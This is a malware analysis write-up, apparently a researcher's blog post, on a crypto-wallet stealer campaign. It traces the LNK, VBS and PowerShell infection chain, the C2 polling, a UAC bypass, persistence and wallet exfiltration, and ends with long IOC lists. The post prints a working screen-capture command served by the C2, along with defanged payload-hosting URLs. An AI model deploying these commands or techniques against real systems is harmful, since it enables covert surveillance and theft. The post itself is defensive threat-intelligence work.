3.000 “Stealer” Samples, One Misconfigured Apache Server

by Robin Dost

Today I took a look at a pretty standard LNK malware sample and ended up stumbling over a small arsenal of auto-generated samples tied to a stealer campaign.

It started with the sample
c6efac5ee99ea63b5f927bcd342073ff2d3540d572ab7b5d353fe857f8f08d49

It’s a LNK file, so nothing special at first glance. As usual, I ran it through lnk-parse to get a quick overview.

From there, a Visual Basic Script gets downloaded and executed. I’ll get to the VBS in a second, but one thing I always check first is whether the directories hosting the malware are actually secured.

In this case, once again, jackpot:

We’re looking at a bunch (3.788) of what are clearly auto-generated malware samples.
Naturally, I grabbed a snapshot of the files and started digging through them.

Here’s a quick overview of the archive:

Number of Files: 3.788
Number of Unique Files: 2.842

Type	No. of Files	No. of unique Files
.lnk	947	947
.pdf	947	1
.vbs	947	947
.ps1	947	947

This follows a very typical infection chain:
RAR -> VBS -> PS1

Let’s take a look at one of the VBS scripts:

So what does the VBS actually do?

This is your classic downloader/launcher for the next stage.

First thing it does is open a legitimate-looking PDF (form_56406.pdf) in Edge.
Pure decoy so the user doesn’t get suspicious.

The PDF itself is a “scam refund form”, which already gives us a rough idea of the phishing context behind this.

In parallel, it builds a random temp path and pulls a PowerShell script from:
https://refundonex[.]com/cloud/form_56406.pdf.ps1

If the download succeeds, the PS1 gets saved locally and executed via
powershell.exe -ExecutionPolicy Bypass

That’s the actual payload.

After that, it hits an API endpoint (…?set=true&key=12345).
Simple tracking signal. Static key though, which is always interesting.

Cleanup is even commented out. Classic.

What does the PowerShell script do?

The script contains a hardcoded AES key and IV, along with a function that handles Base64 + AES-CBC decryption. All those chunks are just encrypted parts of a larger PowerShell script.

At runtime, it does the following:

Decrypt each chunk individually
Store them in an array
Concatenate everything into one big string
Execute it via Invoke-Expression

Why build it like this?

Payload isn’t stored in plaintext -> evades basic static detection (badly, but still)
Chunking -> breaks simple pattern matching / string extraction
Everything assembled in memory -> fewer disk artifacts

Important detail:
The key is static and embedded in the script, which means we can just decrypt everything ourselves.

So that’s exactly what I did. Quick and dirty script:

import base64
import sys
import re
from Crypto.Cipher import AES

with open(sys.argv[1], "r", encoding="utf-8") as f:
    data = f.read()

key_b64 = re.search(r'KEY = .*?"([^"]+)"', data).group(1)
iv_b64  = re.search(r'IV = .*?"([^"]+)"', data).group(1)

KEY = base64.b64decode(key_b64)
IV  = base64.b64decode(iv_b64)

chunks = re.findall(r'Decrypt-AES\s+"([^"]+)"', data)


def decrypt(chunk):
    raw = base64.b64decode(chunk)
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    decrypted = cipher.decrypt(raw)

    # rem PKCS7 padding 
    pad_len = decrypted[-1]
    if pad_len > 0 and pad_len <= 16:
        decrypted = decrypted[:-pad_len]

    return decrypted.decode(errors="ignore")

final_script = ""

for i, chunk in enumerate(chunks):
    try:
        part = decrypt(chunk)
        final_script += part
    except Exception as e:
        print(f"{e}")

with open(sys.argv[1].replace(".ps1", ".decoded.ps1"), "w", encoding="utf-8") as f:
    f.write(final_script)

Running that against all files gives us outputs like this:

It is, basically, just a persistent PowerShell backdoor.

It drops itself into %APPDATA%\WinUpdate, hides its files, creates a VBS launcher for hidden execution, and hooks itself into user logon via a Scheduled Task. On first run, it cleans up downloaded files and pulls a fake PDF as a decoy.

The C2 is hardcoded, but with a small twist: the primary endpoint is winup[.]su, while the fallback domain is generated dynamically from the API key as https://<API_KEY>.xyz.

That same key is also attached to every request, so it doubles as both identification and very basic authentication.

From there, it just keeps polling the server, fetches commands, executes them via PowerShell, and sends the output back. Config values such as polling intervals and timeouts can be adjusted remotely, and if something fails, it rotates through the server list.

So in the end, this is just a dumb HTTP beacon with RCE and a bit of failover via API-key-based domains. Nothing particularly fancy.

And again, everything is a bit sloppy here too, including commented-out lines left in the code.

First IOCs

Before going further, we can already extract some solid IOCs:

API keys (used for fallback domains)
URLs

Each of these API keys is an IOC on its own. They’re used in requests and can also act as fallback domains.

(Full IOC list at the end of the article.)

One more thing:
The code has pretty obvious AI artifacts. Ran it through an AI code detector just to confirm, and yeah, looks like parts of this were generated.

Nothing surprising. Attackers use AI too.

C2 interaction

Next step: figure out what the C2 actually serves.

Two options here:

Interact with the C2 directly (we have the requests)
Run the sample in a controlled VM

In Germany, you’re always sitting in a bit of a grey area with direct interaction, so I stick to a controlled analysis VM. Traffic is limited to what we saw in the script, mainly payload delivery.

The malware loops over requests like this:

https://winup[.]su/api/client/poll/<RANDOM UUID>?key=<KEYOFSCRIPT>&host=<HOST>&user=<USER>&os=<OS>

First C2 Answer:

{
  "commands": [
    {
      "id": "...",
      "command": "Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class DPI{[DllImport(\"user32.dll\")]public static extern bool SetProcessDPIAware();}' -PassThru|Out-Null;[DPI]::SetProcessDPIAware()|Out-Null;Add-Type -Assembly System.Windows.Forms,System.Drawing;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;$b=New-Object Drawing.Bitmap $s.Width,$s.Height;$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen($s.X,$s.Y,0,0,$s.Size);$ms=New-Object IO.MemoryStream;$b.Save($ms,'Jpeg');[Convert]::ToBase64String($ms.ToArray())"
    }
  ],
  "pollIntervalMin": 5,
  "pollIntervalMax": 10,
  "commandTimeout": 180
}

Second C2 Answer:

{
  "commands": [
    {
      "id": "...",
      "command": "powershell -EncodedCommand IwBFAGwAZQB2AGEAdABlACAAdABvACAAQQBkAG0AaQBuAAoAWwBiAHkAdABlAFsAXQBdACQASwBFAFkAIAA9ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAGoAegBGAFoAYwAzADgAcABjAHUARAAyAC..."
    }
  ],
  "pollIntervalMin": 5,
  "pollIntervalMax": 10,
  "commandTimeout": 180
}

Decoding the full Base64 gives us:

We’ve seen this structure before, so same approach again. Decrypt it, and we get another PowerShell script:

Privilege escalation & persistence

This stage tries to elevate privileges and re-establish persistence.

Checks if it’s already running as admin
- If yes -> exits immediately
If not → compiles a small piece of C# inside PowerShell
- Uses COM elevation via ICMLuaUtil / CMSTPLUA
- Basically a UAC bypass / auto-elevation trick

This is used to launch a hidden PowerShell instance with a second script.

That second script does the real work:

Deletes existing scheduled task WindowsUpdateCheck
Recreates it with RunLevel Highest
Points it to launcher.vbs in %APPDATA%\WinUpdate

So from now on, the malware runs elevated at logon.

Then it:

Starts launcher.vbs
Waits for a new hidden PowerShell process from AppData
Kills old PowerShell instances from that path

Finally, the temporary elevation script deletes itself.

Third C2 Answer:

{
  "commands": [
    {
      "id": "...",
      "command": "Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class DPI{[DllImport(\"user32.dll\")]public static extern bool SetProcessDPIAware();}' -PassThru|Out-Null;[DPI]::SetProcessDPIAware()|Out-Null;Add-Type -Assembly System.Windows.Forms,System.Drawing;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;$b=New-Object Drawing.Bitmap $s.Width,$s.Height;$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen($s.X,$s.Y,0,0,$s.Size);$ms=New-Object IO.MemoryStream;$b.Save($ms,'Jpeg');[Convert]::ToBase64String($ms.ToArray())"
    }
  ],
  "pollIntervalMin": 5,
  "pollIntervalMax": 10,
  "commandTimeout": 180
}

Screenshot module

This one is straightforward: screenshot capture.

What it does:

Loads some .NET stuff
Sets DPI awareness (so screenshots don’t break on scaling / 4K)
Uses System.Windows.Forms + System.Drawing

Then:

Returns it as Base64
Gets primary screen resolution
Creates a bitmap
Copies full screen content
Saves as JPEG in memory

Fourth C2 Answer

{
  "commands": [
    {
      "id": "...",
      "command": "powershell -EncodedCommand IwB3AGEAbABsAGUAdAAgAGMAaABlAGMAawBlAHIACgAjAFIAZQBxAHUAaQByAGUAcwAgAC0AVgBlAHIAcwBpAG8AbgAgADUALgAxAAoAJABXAEUAPQBAAHsATQBlAHQAYQBNAGEAcwBrAD0AJwBuAGsAYgBpAGgAZgBiAGUAbwBnAGEAZQBhAG8AZQBoAGwAZQBmAG..."
    }
  ],
  "pollIntervalMin": 5,
  "pollIntervalMax": 10,
  "commandTimeout": 180
}

Decode the next Base64 payload:

Final stage: data collection & exfiltration

This is the actual data theft and packaging stage.

It scans user profiles for:

Browser wallets
Exodus
Electrum

Found data gets copied into a temp directory, along with an info.json.
Everything is zipped under %APPDATA% using a random name.

Then:

If nothing useful is found -> delete ZIP immediately
If data exists -> check for $_UploadUrl

If upload URL is set:

Upload ZIP via curl.exe as raw binary
If successful -> log “uploaded”
If not -> print local path for manual retrieval

Afterwards, the ZIP gets deleted locally.

If no upload URL is set, it just outputs the file path.

At the very end, it calls rSC, which cleans up the previously created shadow copy / symlink setup.
Basic cleanup.

Files

If you want to analyse the files yourself, you can just mail me and i’ll share the files with you!
contact@robin-dost.de

So why does any of this matter?

Technically, none of this is groundbreaking.

But that’s not the point.

When you’re doing infrastructure tracking, you need to pay attention to small mistakes like this, because those mistakes are what let you map entire campaigns.

A single misconfigured Apache directory gave access to thousands of samples tied to the same operation.

That’s not just sloppy, that’s operational damage.

Threat actors look for weaknesses in our systems all the time.
We should be doing the exact same thing to theirs.

IOCs

We have thousands of IOCs here, so you’ll need to expand the sections to view them

Domains:

winup[.]su
refundonex[.]com
ce6d3eecc63de3e6849367d50d1a89cb[.]xyz
650b47e8357b40012bce14629f9bc2d0[.]xyz
d5d33efb31f90f3824f15a0414fe4f62[.]xyz
92e95a8b9f733210f41eb1a18391bbd0[.]xyz
6adff40bc65111d19647f10dbf38d1fb[.]xyz
2b63abb06fb09d455bcbc52f6159109a[.]xyz
17f4c2eb1cc24346b06f26eb9af9442e[.]xyz
16748d1f353a4cabc23d66dea3950a8d[.]xyz
7aaf044142fceff542042df7caf1dc06[.]xyz
312934adbae99f2edba6a925e99600ba[.]xyz
2db241b9b6ec9e80528376dd5b4ed876[.]xyz
4df08932025a2c5f2c02974e6cd52d9b[.]xyz
70105d2d5742194f156a6e3a46a74a17[.]xyz
a0e782d33afe312d62c8665ece1e7d15[.]xyz
474b9506a1de66fa0522a1adbee37124[.]xyz
ba92f1533bacb363addb622bfa7b3648[.]xyz
9297240fb4ca63f4d4bd9b9a2f162d39[.]xyz
09e1f3fcc3c9ad30c07c109fa3c80500[.]xyz
95c4d6c34ee73a711cdc71f282859d9c[.]xyz
4a3efc6d88f3404de3d7eec02ccd19fa[.]xyz
7511b97252967debb644ca592bf65357[.]xyz
cd2f75a4b0f3f966c93c3aa9bf92339f[.]xyz
3b781c63fea37e0ce767a1e1e1c1e676[.]xyz
2c2c758b59b5e0070c37bf868a139126[.]xyz
9eface7b8cc3385615802ba1d5419ec9[.]xyz
a164d9614de9f3a795d800904cf50f1d[.]xyz
ac6a4e0cbda57b21e2a2ddd2b70df2d1[.]xyz
25bcffd0c085f2fab2292a98a506cdb5[.]xyz
aeb0f0478ac957e9865b846c7ad3d661[.]xyz
0859bd3282f2a270f325c83f4571ded3[.]xyz
aaa8c446dfdb320e20a46ff287c11804[.]xyz
a08f95d2c8029a0c23706a0706a22d0f[.]xyz
8ac6945ce8d3efd968c2a5589911b0e5[.]xyz
fb6dfb60c059a49d7347f123c6cd41af[.]xyz
2071903790b7ebd87a9c1d0ab8b70a16[.]xyz
b0ffc0661e731fe72c711c3427da7d3a[.]xyz
b883832caa535649dde3f03148655c70[.]xyz
0cb28c723c4a773741fc3137b0ae807a[.]xyz
4505649f9775f27b142e51f29954b68e[.]xyz
536768f0ef2e27445c78526d9dbd6b75[.]xyz
c3c76be144e8524fb541b6b19e9a7f2c[.]xyz
2e264e0d0ce2a3b4798e5a1143c7f05e[.]xyz
25e04baf98b2bde26c6c995cc3bf82dc[.]xyz
9665b65129847f083e4061d0b86ad654[.]xyz
e090237684f42a5592d9d19c8eda21a5[.]xyz
9b6ec7a3cbd0edc8a65e480b0f1f8491[.]xyz
31fb2293fa04456307e78bf08e9b3d78[.]xyz
9bf37f72eda31079765a2528d012fa72[.]xyz
7698a40f0d3b460665753e586b34fb08[.]xyz
d6051410bec78aa2e456c83fde2485ea[.]xyz
559eabf3ae7dfddbc1642cbb44d69cab[.]xyz
59499cc4fbb5b21596398fdc5c769f94[.]xyz
9bb5185d976a26df4973b32550d0cef5[.]xyz
197fa1105b8641e6ca1da182cdf22f94[.]xyz
5ee4712078690ec89f27c21ae353f2bc[.]xyz
957d736bacd39e9b2af395222deb8ba2[.]xyz
77abe747935cdc29be6d25da18f8280d[.]xyz
b6833a75461ea2437d03124fc335e74d[.]xyz
58a14c65ac7e61434f125aedf55ab651[.]xyz
665c78afec651b626a8a447d26dcb9e8[.]xyz
4d1f7ee1eb7db9fcd7f417e8de0cfb06[.]xyz
29edae73440b2d0ce9854e21b2146ea9[.]xyz
1d34da1d0035b8210463869bc7fa63ef[.]xyz
b809732f6d1b6350afdf1c002512419b[.]xyz
5d609fe79512603a318bd11b440fbbbe[.]xyz
ba3e4b33b1f8760fb5da72d07d1313f6[.]xyz
e6ce6cbdb39eeac88e8e84f0e4aeab58[.]xyz
a45cd1ae13aaee2ffac436432c16dc7c[.]xyz
2ac45984a34461fa84f0fb301c17868e[.]xyz
9c74a1716d77bc47f33ff8031483007b[.]xyz
1f241b1ef8ca32f5efa67258ed254e72[.]xyz
d546bbf963cd4bb183aaa7777daa337d[.]xyz
62b2ee21a48a7a4b0b4da0995bcdefab[.]xyz
b2031e10f5813e0aa8279600cff3bee1[.]xyz
281aae16e2fc3c1f6e77640ad8c4fddd[.]xyz
55613d4b0741d00cf8f8c213ed39eb4f[.]xyz
79a2cc5f6e11cc145355a7fc9c9be60f[.]xyz
f169552113c9bbc8c005e1392b5b7647[.]xyz
cebff265b9d06892ab7b4dce2ad558df[.]xyz
d30b56df2b15ee599c32b0b1b0768831[.]xyz
db960b47c2989310ca3b813b42bd0adb[.]xyz
0da169b8fa500f7ad142cbbc26442ac8[.]xyz
a433fdc46516beca9fab61de33603160[.]xyz
53770f96071751ff71ff58b21e12478a[.]xyz
eb63c7b84536942bbb58eafa10b54627[.]xyz
d1e65c1fe875cf9f624ddb752bde70fe[.]xyz
957ed031a8566984ea9c66e1912b24fc[.]xyz
1f8296018776f5be8606ca52972047c4[.]xyz
9a9400805ee4fe5dbc455fc066d1180c[.]xyz
b06f0cb91a8bbb2f4af4daffc84105d2[.]xyz
41802b9a5387905490ee8b995c4cadb5[.]xyz
c94af6b0ed05931f4d5e2bae1a4b0c22[.]xyz
8fdcaf9f6efad67699b9ca9fa49df15b[.]xyz
c81fa49dcbe494b994d7cc2ff041949f[.]xyz
0e426d728d5ceb18af40ec506df52930[.]xyz
0345ad18132b3ebb7458825b51ab3e68[.]xyz
3df6b88c16ca30f9f1781e66e2ea49e1[.]xyz
7841c37d2b39d7862faf9cae8821c1ae[.]xyz
ea1eebd00a29030f31a15d505f967346[.]xyz
1bb4e84681ba0a2412327472c31823d7[.]xyz
835cb2e435cd8b19a318ad9d2bdc78f6[.]xyz
a84827990384cd1bf7a273f09b7f00d7[.]xyz
5fe1c5d9132e2518196a9aecdc043575[.]xyz
acefcc61283519f90176f6144ec7d069[.]xyz
251531f1f467ef3e5d1ce72c435ab63b[.]xyz
860e12a762cc6b91c0ec9c680632c897[.]xyz
76cbeb0f56b0fb2557b3aa97a4c9be53[.]xyz
84c1d4722425454348e29636174bdad9[.]xyz
4fa71959be768432b2347ca740a50c6c[.]xyz
d816588e23ce6620d573167855dae074[.]xyz
dda2a3a2d8e4693ea52670f980f117f9[.]xyz
2a5017bade76dbe525a339b6ad9e2563[.]xyz
ecc9e196124453491160f56df3adfce6[.]xyz
6e8651e11067d3b79189009be5efbe36[.]xyz
6c5973b49725bbae6a201a4b679030ca[.]xyz
2d5d5e31e06ee7175e9c6e657a1e7f60[.]xyz
3b8062f94e7563533e79824785b0e0db[.]xyz
31e85b15d6342bc47e61c57ecf31fa2f[.]xyz
34ae0f900757a499a289c44fb34e8158[.]xyz
e841b63edaf109038e3b400a9d79b9c1[.]xyz
0e91052bd56d8d594f59dc92587ab51d[.]xyz
c3ebafc9d93ca85770a4456aff26fd4a[.]xyz
66ea4a4077c9698d038a415d31b7539c[.]xyz
9141df139169a17b9ca112ea01d59516[.]xyz
77ed2cd7e4efc3fbc11d429b518cfe64[.]xyz
7b6dfe4538d06efd9c21e4ddfee20928[.]xyz
afca858c06473a53fc14eed06b4d42d3[.]xyz
6a9414db16258b343ceee62520551827[.]xyz
b5044c22fd1f52cd97c22d0173765867[.]xyz
5b8c4e9686ff1780ece069c9615166d4[.]xyz
11bf683e12c77c20fcfc5197c3b0ffb7[.]xyz
76f9c517e835d4598a3e149cc8685b72[.]xyz
27f1a9e570f9c9b25c9111b7e987eef4[.]xyz
860b63767026c1fc118b41e65d39a8da[.]xyz
03015b3e00fd5a6516fd87f2c14317a4[.]xyz
723c271065ca2c456dfcc16c3781a277[.]xyz
cc45a26f5193bf369a5d01c0a70b1962[.]xyz
0e15f60c56c3e6c9c6c802615e5c1389[.]xyz
891c75c784a0826238162079444a4e10[.]xyz
164c5d4acb619d8175ba802304bb79c5[.]xyz
990dbdd2be975b17afb0f3c655044a9a[.]xyz
bdea96a6d09f82ca3fb92fc11157bffb[.]xyz
7480cb44dbb89d581b9baaa4851d8606[.]xyz
3b7ebb0a1813719e972d8de84280501a[.]xyz
5ece7f28480504eedec56e3439d103e1[.]xyz
4f237c37430766f8a7e9c4e7aafa30bf[.]xyz
6b05eea2a31117010a3145af6742af52[.]xyz
1dc75a1903f8638e731a113d3cca9dcb[.]xyz
eef92859f04b1589166b8db3ee44c604[.]xyz
ee5fd705d2beb0ec4ae7414c6d29d22f[.]xyz
350395987a8cd70a7819c27190b84ebc[.]xyz
7ba1232346db6606888bfb0f9d7cfe37[.]xyz
82eb27f105371e25979b1f0ead550020[.]xyz
de411861057dc6e7825423e260281b12[.]xyz
f22a4947bdb90d715711a83d4ffcf633[.]xyz
82125c703c96087c422bc0dc0b3c6792[.]xyz
e1de29ef32f0820807a2d7f45be324db[.]xyz
dde127f2f122a289488e0a1e3986b72f[.]xyz
4a26a1935c71293c7047a1d7b12c0817[.]xyz
03f63860f4fd78c03a7de2ad78212b3e[.]xyz
9f545f4bb8556644be156a7d94628cbc[.]xyz
a4fec551632efca2dc935f30fb3e02e7[.]xyz
05947871fedb6ea8e22020c2d160cd1d[.]xyz
cc57d24abd508c8c23bf81384050153a[.]xyz
db9d563f10b66cb32bbfee66e2dade9f[.]xyz
5a1b56b21bd2d40d51136b4f4cdeb59a[.]xyz
fd6b390f5bfc8fa4c7502bf05bd461cd[.]xyz
4f9caac8fce1a3442b66cf223774bfdb[.]xyz
f7f4735d2a0c0b01650532997526a609[.]xyz
78832e7192aee4909384afebb478a8df[.]xyz
3c0208babfce3b7e7d55de89a7866208[.]xyz
baae8129eb91ebeaa384fdb43f05d561[.]xyz
e4710f2f88b855064f65009291489200[.]xyz
9ddc8b740101ab869c59db2cb726ff0b[.]xyz
621e3ab870f2eb9c09214533b7997d54[.]xyz
c6aa0317a355dfc6c8a3628c43339fc5[.]xyz
5716719332f967db48dc88e2c4392a13[.]xyz
c71eca9a451d015fc7c943eb2c6d3dcd[.]xyz
35a1647b7c78ffba4db202339da625bf[.]xyz
8593f6e9b3a2cfaedf31eba81d5eee7c[.]xyz
db44adc72b412d1943ab51654c9992ad[.]xyz
778fa996df8abfd70874143b6f092b92[.]xyz
be04463e9775582f22222c001dba0c4a[.]xyz
26ff2f75bc1585c9165f198a5bc87089[.]xyz
09c30b3ed272b94f8390952c99085d3c[.]xyz
9564a441f00043e0c4805dd94df776fe[.]xyz
783b760f85923c8e4f7e801544440765[.]xyz
8fe000e7aa34965c36b07a785ebf211b[.]xyz
b056ecd369a4921b9294a79b14af2453[.]xyz
022cfcdb582bbcf919efaec38aa1b3ef[.]xyz
d43c8d017f576f895cf32d5479187461[.]xyz
b52359f65b77b21db3f2c82122e2ac44[.]xyz
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9dd34929550a16f11cff198d3a71facd[.]xyz
9d5e8284821be4ddd23a0ac321ea71a7[.]xyz
ebecdc9bf5d3735c9c63e72b079e7e51[.]xyz
c0f9a7ab0cbe85a3edb6470cca8e860d[.]xyz
592f5afb8890bcb0c6ff5537acfb027f[.]xyz
1dc7905f7ba30bf8cd8eb16797c474e7[.]xyz
d2b101e49ba7c3614d22207517b9e5f3[.]xyz
27888d3e668a2dea9c08983870a6c50e[.]xyz
a52cd1ee77ce1116bca243d1268246b5[.]xyz
21c61b11fdeede589fcc63bec4ed92c0[.]xyz
e8b80d7cb516376667f9f43ef7798046[.]xyz
09871862d8975e3237b6dfbeec64aafc[.]xyz
12e05b34fb4304a3be592f64b0c0e898[.]xyz
820d2f4acb3571fb692fb8d1eefabee4[.]xyz
5a423b0460387876b9cd6b620815ede1[.]xyz
53858f03ae3ba173058475d43c2f2e03[.]xyz
665876f4ffb74969fa5205b4e9777adc[.]xyz
e4a18d4848024027e94e66fe3eb40ad8[.]xyz
b2ff41f37f961b989aa6847c6ba8be88[.]xyz
878d0aab47b4f94cfb7efc86531ec62c[.]xyz
eb24d8db9fa2163441328ba102340eff[.]xyz
c458dee1e6bc762aa344ed2a2d99e5ff[.]xyz
75bcbf4fde3b4ba9059f54b629a4d2ff[.]xyz
3171b94d81bbdfaba5055015b5448b30[.]xyz
757540a2a1da9eaa13db39a2b2cd3303[.]xyz
57b2a17ef596e949557c115c3cb43088[.]xyz
ebe9024b708ec06377aaf0e0b71f13fe[.]xyz
e8f5b33871bd43fdf5f95aca1a82cdb8[.]xyz
5e60dbced22b261d83a45816d35e1fea[.]xyz
5734fcb9878a0e560481379efea53944[.]xyz
22b6ac2888d5fb081a3b978bcae2d1d0[.]xyz
baa5c1428ad1d52da18e95592fa78296[.]xyz
4da6ad55f14621c4be32682c93a7be80[.]xyz
1ebb7a0c3075a0edaa8fe0fe07471ba5[.]xyz
a2a240e9251a9d0e1c88e7abe10c78e1[.]xyz
5ee99d9ef70830643b3ab377a28ad5d6[.]xyz
a67cd14d2ca62b6a11fe6eb7bc85969e[.]xyz
19ef67ba4307aee7fc5b6bc9ad12ba3e[.]xyz
70f35f2ddfaf645ef1743879e996ed33[.]xyz
4d652e875d562ce3569c44ae793ac2b3[.]xyz
23dad61db5105cbca536472b1fb4fc6a[.]xyz
c192d4970eac0a7878ab6be65da4ceec[.]xyz
2e31eef319a3231deaf56af2dc479cd7[.]xyz
3f91d13ac3da20afa697ce5a100462a7[.]xyz
058e98689dfe385feac7281ab825cb2c[.]xyz
6d79368d765e180c3794e39b9936f707[.]xyz
004ed72de4faa3a2786e8de5fe30004a[.]xyz
70a624a666c1c83260f4848b85741cfd[.]xyz
5a90a44ba52c75c7bfc9da077e19c29c[.]xyz
d89af95fc8455ae85b593f4e646f655d[.]xyz
9ddf21046fe12eea2e5eeb99480ec671[.]xyz
a9d67a1cf570dd3375ecde18d29da95a[.]xyz
2668f43acd87cc38d93b10599b78152b[.]xyz
b078c42831e9c15610553f09ba4ade1c[.]xyz
c6e90a6efbe6603f28cc8b3da689fde1[.]xyz
866b7847fe097300ada2c53098d521fc[.]xyz
c32a5fe59619193caf89913b80c0e50d[.]xyz
dff63cd958b28404ed46174ebf2229bb[.]xyz
b0cc30cf80a87e385342e2f84982844f[.]xyz
5c516629a2301b4c883c08be73201bad[.]xyz
360bcea51c0908c56d2c8a18ec3ccfee[.]xyz
cc5e1d332c72f9cbc51f4021af71f278[.]xyz
a2bf4fc37c36fa574f962f0ff28945ca[.]xyz
867100de62ce4456223217e5a19119d7[.]xyz
f8673d69e778d03c5f18c46cd8b0020d[.]xyz
71edf57f0e69dc7331c40bb28d82df79[.]xyz
1a9b1aecdc09af444931a90745bdfd50[.]xyz
1b53a87094f89613920b7160046ec00b[.]xyz
53aa5c8d0ede8755e3475085624d50d7[.]xyz
9acada207b77c8651d0267ad745305cc[.]xyz
8020850c8117fe4b11f7566d115693c3[.]xyz
a525a51189feacb445ad966163cb8b95[.]xyz
468e8850ee267717ae59da561f8b5602[.]xyz
947973f6b703d9294967167390ca6100[.]xyz
0013c4739b644e5001a87f1291b91318[.]xyz
c06bfcb22394fd515bf7f6b0f1c94422[.]xyz
b1c28049a0040088b3a695e16cdf8678[.]xyz
9d9ac4a638787ccc8bdde265ed968d5e[.]xyz
7fac67870012bdd6d9877af5808b10f2[.]xyz
40d3465e21e2885c848203f8c00c52aa[.]xyz
4fafda105daf2a07d089ce5f99b730c3[.]xyz
375b8ed1a991489c1f66de4ed2cdb32e[.]xyz
71413387a5d58b9fb5a0a344281d5ef7[.]xyz
6b9fc97404515d33315f5b7e8080b726[.]xyz
0f2786d4adbe527cd5f65ee0246d0fde[.]xyz
f4e41c18d925162e949aeecd11536cd1[.]xyz
11e97062ae902d3b392057dd58fb3986[.]xyz

Malicious API Keys

ce6d3eecc63de3e6849367d50d1a89cb
650b47e8357b40012bce14629f9bc2d0
d5d33efb31f90f3824f15a0414fe4f62
92e95a8b9f733210f41eb1a18391bbd0
6adff40bc65111d19647f10dbf38d1fb
2b63abb06fb09d455bcbc52f6159109a
17f4c2eb1cc24346b06f26eb9af9442e
16748d1f353a4cabc23d66dea3950a8d
7aaf044142fceff542042df7caf1dc06
312934adbae99f2edba6a925e99600ba
2db241b9b6ec9e80528376dd5b4ed876
4df08932025a2c5f2c02974e6cd52d9b
70105d2d5742194f156a6e3a46a74a17
a0e782d33afe312d62c8665ece1e7d15
474b9506a1de66fa0522a1adbee37124
ba92f1533bacb363addb622bfa7b3648
9297240fb4ca63f4d4bd9b9a2f162d39
09e1f3fcc3c9ad30c07c109fa3c80500
95c4d6c34ee73a711cdc71f282859d9c
4a3efc6d88f3404de3d7eec02ccd19fa
7511b97252967debb644ca592bf65357
cd2f75a4b0f3f966c93c3aa9bf92339f
3b781c63fea37e0ce767a1e1e1c1e676
2c2c758b59b5e0070c37bf868a139126
9eface7b8cc3385615802ba1d5419ec9
a164d9614de9f3a795d800904cf50f1d
ac6a4e0cbda57b21e2a2ddd2b70df2d1
25bcffd0c085f2fab2292a98a506cdb5
aeb0f0478ac957e9865b846c7ad3d661
0859bd3282f2a270f325c83f4571ded3
aaa8c446dfdb320e20a46ff287c11804
a08f95d2c8029a0c23706a0706a22d0f
8ac6945ce8d3efd968c2a5589911b0e5
fb6dfb60c059a49d7347f123c6cd41af
2071903790b7ebd87a9c1d0ab8b70a16
b0ffc0661e731fe72c711c3427da7d3a
b883832caa535649dde3f03148655c70
0cb28c723c4a773741fc3137b0ae807a
4505649f9775f27b142e51f29954b68e
536768f0ef2e27445c78526d9dbd6b75
c3c76be144e8524fb541b6b19e9a7f2c
2e264e0d0ce2a3b4798e5a1143c7f05e
25e04baf98b2bde26c6c995cc3bf82dc
9665b65129847f083e4061d0b86ad654
e090237684f42a5592d9d19c8eda21a5
9b6ec7a3cbd0edc8a65e480b0f1f8491
31fb2293fa04456307e78bf08e9b3d78
9bf37f72eda31079765a2528d012fa72
7698a40f0d3b460665753e586b34fb08
d6051410bec78aa2e456c83fde2485ea
559eabf3ae7dfddbc1642cbb44d69cab
59499cc4fbb5b21596398fdc5c769f94
9bb5185d976a26df4973b32550d0cef5
197fa1105b8641e6ca1da182cdf22f94
5ee4712078690ec89f27c21ae353f2bc
957d736bacd39e9b2af395222deb8ba2
77abe747935cdc29be6d25da18f8280d
b6833a75461ea2437d03124fc335e74d
58a14c65ac7e61434f125aedf55ab651
665c78afec651b626a8a447d26dcb9e8
4d1f7ee1eb7db9fcd7f417e8de0cfb06
29edae73440b2d0ce9854e21b2146ea9
1d34da1d0035b8210463869bc7fa63ef
b809732f6d1b6350afdf1c002512419b
5d609fe79512603a318bd11b440fbbbe
ba3e4b33b1f8760fb5da72d07d1313f6
e6ce6cbdb39eeac88e8e84f0e4aeab58
a45cd1ae13aaee2ffac436432c16dc7c
2ac45984a34461fa84f0fb301c17868e
9c74a1716d77bc47f33ff8031483007b
1f241b1ef8ca32f5efa67258ed254e72
d546bbf963cd4bb183aaa7777daa337d
62b2ee21a48a7a4b0b4da0995bcdefab
b2031e10f5813e0aa8279600cff3bee1
281aae16e2fc3c1f6e77640ad8c4fddd
55613d4b0741d00cf8f8c213ed39eb4f
79a2cc5f6e11cc145355a7fc9c9be60f
f169552113c9bbc8c005e1392b5b7647
cebff265b9d06892ab7b4dce2ad558df
d30b56df2b15ee599c32b0b1b0768831
db960b47c2989310ca3b813b42bd0adb
0da169b8fa500f7ad142cbbc26442ac8
a433fdc46516beca9fab61de33603160
53770f96071751ff71ff58b21e12478a
eb63c7b84536942bbb58eafa10b54627
d1e65c1fe875cf9f624ddb752bde70fe
957ed031a8566984ea9c66e1912b24fc
1f8296018776f5be8606ca52972047c4
9a9400805ee4fe5dbc455fc066d1180c
b06f0cb91a8bbb2f4af4daffc84105d2
41802b9a5387905490ee8b995c4cadb5
c94af6b0ed05931f4d5e2bae1a4b0c22
8fdcaf9f6efad67699b9ca9fa49df15b
c81fa49dcbe494b994d7cc2ff041949f
0e426d728d5ceb18af40ec506df52930
0345ad18132b3ebb7458825b51ab3e68
3df6b88c16ca30f9f1781e66e2ea49e1
7841c37d2b39d7862faf9cae8821c1ae
ea1eebd00a29030f31a15d505f967346
1bb4e84681ba0a2412327472c31823d7
835cb2e435cd8b19a318ad9d2bdc78f6
a84827990384cd1bf7a273f09b7f00d7
5fe1c5d9132e2518196a9aecdc043575
acefcc61283519f90176f6144ec7d069
251531f1f467ef3e5d1ce72c435ab63b
860e12a762cc6b91c0ec9c680632c897
76cbeb0f56b0fb2557b3aa97a4c9be53
84c1d4722425454348e29636174bdad9
4fa71959be768432b2347ca740a50c6c
d816588e23ce6620d573167855dae074
dda2a3a2d8e4693ea52670f980f117f9
